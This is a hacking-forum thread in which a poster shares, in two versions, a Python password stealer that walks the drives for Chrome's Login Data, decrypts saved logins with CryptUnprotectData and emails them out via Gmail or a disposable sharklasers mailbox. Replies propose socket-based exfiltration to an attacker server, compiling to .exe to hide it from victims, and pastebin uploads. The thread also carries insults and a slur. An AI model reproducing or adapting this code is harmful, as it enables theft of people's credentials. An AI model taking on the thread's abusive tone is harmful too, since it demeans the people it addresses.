[@beef]

DONT ADD - BEEFHF. ON SKYPE HE IS A FAKE

I've had a lot of requests to update this because it stopped working. Here it is.
If you're going to use this then please take the time to post below. This is Free. This took a while to do initially, saying thank you or something below would be nice.

Add me on skype @ beefhf

btw you need to get the wincrypt32 module. pm me on skype for help.

Code:

PHP Code


<?php 
# By @beef HF
# https://hackforums.net/member.php?action=profile&uid=2494987


import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText

# Create File

f = open('passwords.txt','w')

# Find path

try:
    path = sys.argv[1]
except IndexError:
    for w in os.walk(os.getenv('USERPROFILE')):
        if 'Chrome' in w[1]:
            path = str(w[0]) + '\Chrome\User Data\Default\Login Data'

# Connect to the Database
try:
    print '[+] Opening ' + path
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception, e:
    print '[-] %s' % (e) 
    sys.exit(1)

# Get the results
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
    for result in data:
    # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception, e:
            print '[-] %s' % (e)
            pass
        if password:
            f.write('''[+] URL: %s\n Username: %s\n Password: %s\n''' %(result[0], result[1], password))
            
else:
    print '[-] No results returned from query'
    sys.exit(0)

# Your Email Account

emailfrom = "youremail"
emailto = "youremail"
fileToSend = "passwords.txt"      
user = "youremail"
password = "yourpassword"

# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)           
msg.attach(attachment)

smtp = smtplib.SMTP('smtp.gmail.com:587')
smtp.starttls()
smtp.login(user,password)
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()

print('[+] Successfully Completed') 


EDIT -

Instead of using regular gmail. You can use https://www.sharklasers.com where you can spoof the email and it's temporary too.

Basically you go to the website and automatically you get an account made for you.
Say your account is called [email protected] then in my code where I've put the

#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox or the "emailto" variable. You input your email into here.

for example:

emailto = "[email protected]"

now that's it lol. legit. just run it. the passwords will come up in your inbox. the inbox won't clear until you set it to (i think). Even if you go off the website i think it will still be there when you come back next time.

Here's the new code for this:

PHP Code


<?php 
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import win32api
import win32file


# Create File

f = open('passwords.txt','w')

# Find path

try:
    path = sys.argv[1]
except IndexError:
    for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
             if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:    
        for w in os.walk(driver):
            if 'Chrome' in w[1]:
                path = str(w[0]) + '\Chrome\User Data\Default\Login Data'

# Connect to the Database
try:
    print '[+] Opening ' + path
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception, e:
    print '[-] %s' % (e) 
    sys.exit(1)

# Get the results
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
    for result in data:
    # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception, e:
            print '[-] %s' % (e)
            pass
        if password:
            f.write('''[+] URL: %s\n Username: %s\n Password: %s\n''' %(result[0], result[1], password))
            
else:
    print '[-] No results returned from query'
    sys.exit(0)

# Your Email Account


emailfrom = "[email protected]"

#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
emailto = "[email protected]"


fileToSend = "passwords.txt"      

# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)           
msg.attach(attachment)

smtp = smtplib.SMTP('mail.sharklasers.com:25')
smtp.starttls()
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()

print('[+] Successfully Completed') 


[h0lyl337]

hey thx for the share ^_^

[@beef]

hey thx for the share ^_^

np, this is why I give things for free :)

[Aleksas]

I would suggest replacing email ( because of the smtp limit, 500 I believe in gmail ) with sockets, so it establish connection like an backdoor or rat. That way it could just send information from client ( victim ) to the server ( mastermind ) and it could save it to the text file. Give me an PM if you need some help.

[@beef]

I would suggest replacing email ( because of the smtp limit, 500 I believe in gmail ) with sockets, so it establish connection like an backdoor or rat. That way it could just send information from client ( victim ) to the server ( mastermind ) and it could save it to the text file. Give me an PM if you need some help.

You clearly don't understand the code do you? What if you don't have/want any server stuff and want an easy solution to this. That's the whole point of the program. You should really use your brain next time lol.

[ClassyBear]

Awesome, this could come in handy!

[@beef]

Awesome, this could come in handy!

You're welcome. Enjoy.

[Aleksas]

You clearly don't understand the code do you? What if you don't have/want any server stuff and want an easy solution to this. That's the whole point of the program. You should really use your brain next time lol.

Don't be offensive, I didn't mean to "command" what to do, just suggest. And also for another suggestion you can have "easy" and the "server/client" based program.

[@beef]

Don't be offensive, I didn't mean to "command" what to do, just suggest. And also for another suggestion you can have "easy" and the "server/client" based program.

You still don't understand. If you have email, you can see it everywhere. On your phone everywhere. Why don't you add the socket stuff to the code then if you want it so much. God

[Aleksas]

You still don't understand. If you have email, you can see it everywhere. On your phone everywhere. Why don't you add the socket stuff to the code then if you want it so much. God

I understand 100%, email is way easier, but it has cons like my suggestion, but enough of the limitless arguments, peace 🤝

[@beef]

I understand 100%, email is way easier, but it has cons like my suggestion, but enough of the limitless arguments, peace 🤝

There are no benefits and I'm pretty sure I'm not going to get 500 people opening the program everyday and causing an email to be sent. k stop talking about stuff you know nothing about

[+TOAST]

There are no benefits and I'm pretty sure I'm not going to get 500 people opening the program everyday and causing an email to be sent. k stop talking about stuff you know nothing about

Dude, there is an obvious benefit. For one thing, your user can simply view the python script and now he knows your gmail details... I'll provide a socket version in a couple minutes if people want it.
EDIT: Another idea is encrypt the pass list using AES and upload it to pastebin. Then it's not your server, or your email that is in the details of the program.

[@beef]

Dude, there is an obvious benefit. For one thing, your user can simply view the python script and now he knows your gmail details... I'll provide a socket version in a couple minutes if people want it.
EDIT: Another idea is encrypt the pass list using AES and upload it to pastebin. Then it's not your server, or your email that is in the details of the program.

What do you mean they can look at the code? LOL you can compile it to a .exe?? What. Why would you need to encrypt the password list? even if you did upload it to paste bin. You would still need to email yourself the link. You should probably think about it before making a post next time bro.

[NormieFag]

You clearly don't understand the code do you? What if you don't have/want any server stuff and want an easy solution to this. That's the whole point of the program. You should really use your brain next time lol.

??You should use your's. You have a password stealer written in Python that, as a pre-requisite, requires the original user to input their smtp information.

????? Sockets would actually be much more secure. Could use any number of the free trial vps services, or even fucking Koding.


tl;dr sockets are better you're an arrogant coon.

[@beef]

??You should use your's. You have a password stealer written in Python that, as a pre-requisite, requires the original user to input their smtp information.

????? Sockets would actually be much more secure. Could use any number of the free trial vps services, or even fucking Koding.


tl;dr sockets are better you're an arrogant coon.

You're a fucking retard. You do realise You can make a separate fucking email to put into my code. Why would you use your main email, fucking downy. A trial vps? You don't even need a vps for the socket thing. Why the fuck do you make a post when you don't even understand the code?